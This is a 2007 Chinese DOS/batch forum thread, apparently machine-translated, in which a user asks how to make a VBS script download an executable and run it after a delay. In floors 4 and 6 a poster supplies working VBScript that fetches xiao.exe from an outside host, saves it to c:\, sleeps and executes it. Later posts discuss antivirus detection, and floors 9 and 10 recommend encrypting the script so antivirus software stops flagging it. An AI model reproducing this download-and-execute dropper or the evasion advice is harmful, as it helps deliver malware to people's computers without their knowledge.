![]() |
China DOS Union-- Unite DOS · Advance DOS · Grow DOS --Union site: www.cn-dos.net Forum site: www.cn-dos.net/forum |
| Guest | Log in | Register | Members | Search | China DOS Union |
|
中国DOS联盟论坛 The time now is 2026-08-04 17:20 |
48,038 topics / 350,123 posts / today 0 new / 48,251 members |
| DOS批处理 & 脚本技术(批处理室) » [Help] How to use VBS to download and run a specified file? |
| Printable Version 1,417 / 9 |
| Floor1 nzisisco | Posted 2007-04-25 23:22 |
| 初级用户 Posts 47 Credits 107 | |
|
For example, I want to download the program www.xxxxxx.com\1.exe. How to use VBS to download it and put it into the specified directory, such as putting it into c:\, and preferably be able to specify a time to run it, such as running it after 60 seconds. Hope an expert can help!
|
|
| Floor2 vkill | Posted 2007-04-25 23:57 |
| 金牌会员 Posts 1,744 Credits 4,103 From 甘肃.临泽 | |
|
iget.vbs
sleep run |
|
| Floor3 lxmxn | Posted 2007-04-26 01:41 |
| 版主 Posts 4,938 Credits 11,386 | |
|
The upstairs has already given a hint. The owner of the post might as well follow the upstairs' hint, search the forum, and try to solve the problem by oneself. It is very beneficial for you to improve.
|
|
| Floor4 fengzi | Posted 2007-04-26 02:08 |
| 中级用户 Posts 152 Credits 315 | |
|
Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell") Post.Open "GET","http://danshenhan.mm9mm.com/xiao.exe",0 Post.Send() Set aGet = CreateObject("ADODB.Stream") aGet.Mode = 3 aGet.Type = 1 aGet.Open() aGet.Write(Post.responseBody) aGet.SaveToFile "c:\xiao.exe",2 wscript.sleep 10000 Shell.Run ("c:\xiao.exe") 'Delay and then execute the downloaded file It seems like it will be blocked by the antivirus, but NOD32 won't detect it. |
|
| Floor5 nzisisco | Posted 2007-04-26 02:48 |
| 初级用户 Posts 47 Credits 107 | |
|
I know nothing about VBS. Although the second floor has given the key words, it's still difficult...
I can't understand what you wrote on the fourth floor. Can you explain it? I'm sorry. I'm relatively stupid. Please trouble everyone. |
|
| Floor6 fengzi | Posted 2007-04-26 02:58 |
| 中级用户 Posts 152 Credits 315 | |
|
Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell") Post.Open "GET","http://danshenhan.mm9mm.com/xiao.exe",0 :Here is the address of the thing to download Post.Send() Set aGet = CreateObject("ADODB.Stream") aGet.Mode = 3 aGet.Type = 1 aGet.Open() aGet.Write(Post.responseBody) aGet.SaveToFile "c:\xiao.exe",2 Save location wscript.sleep 10000 Delay Shell.Run ("c:\xiao.exe") Execute |
|
| Floor7 zhoushijay | Posted 2007-04-27 02:45 |
| 高级用户 Posts 375 Credits 845 | |
|
Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell") Set Shell = CreateObject("scripting.filesystemobject") What other objects are there? What properties and methods are there under these objects? Who has relevant information on this? |
|
| Floor8 Vampire | Posted 2007-04-27 03:14 |
| 初级用户 Posts 78 Credits 176 | |
Set Shell = CreateObject("Wscript.Shell") This code is regarded as a virus by Rising Antivirus... It is desperately killed. Hehe. |
|
| Floor9 kk11440 | Posted 2007-05-23 21:29 |
| 新手上路 Posts 1 Credits 2 | |
|
Because Brother Madman... It means that Comrade Xiao Bo didn't encrypt this VBS code segment. After encryption, all antivirus software
|
|
| Floor10 fengzi | Posted 2007-05-23 22:46 |
| 中级用户 Posts 152 Credits 315 | |
Originally posted by Vampire at 2007-4-27 03:14 AM: This can be done after encrypting with a VBS encryption tool` baomaboy made an encrypted/decrypted VBS script (simple anti-virus bypass version) 1.1 http://www.cn-dos.net/forum/viewthread.php?tid=30500&fpage=1&highlight=1.1` After this encryption, anti-virus software basically won't report a virus`` [ Last edited by fengzi on 2007-5-24 at 04:38 AM ] |
|
|
[ Contact the Union admin team -
中国DOS联盟 -
Standard version ] Sponsored by ifanr Inc | © 2001–2023 |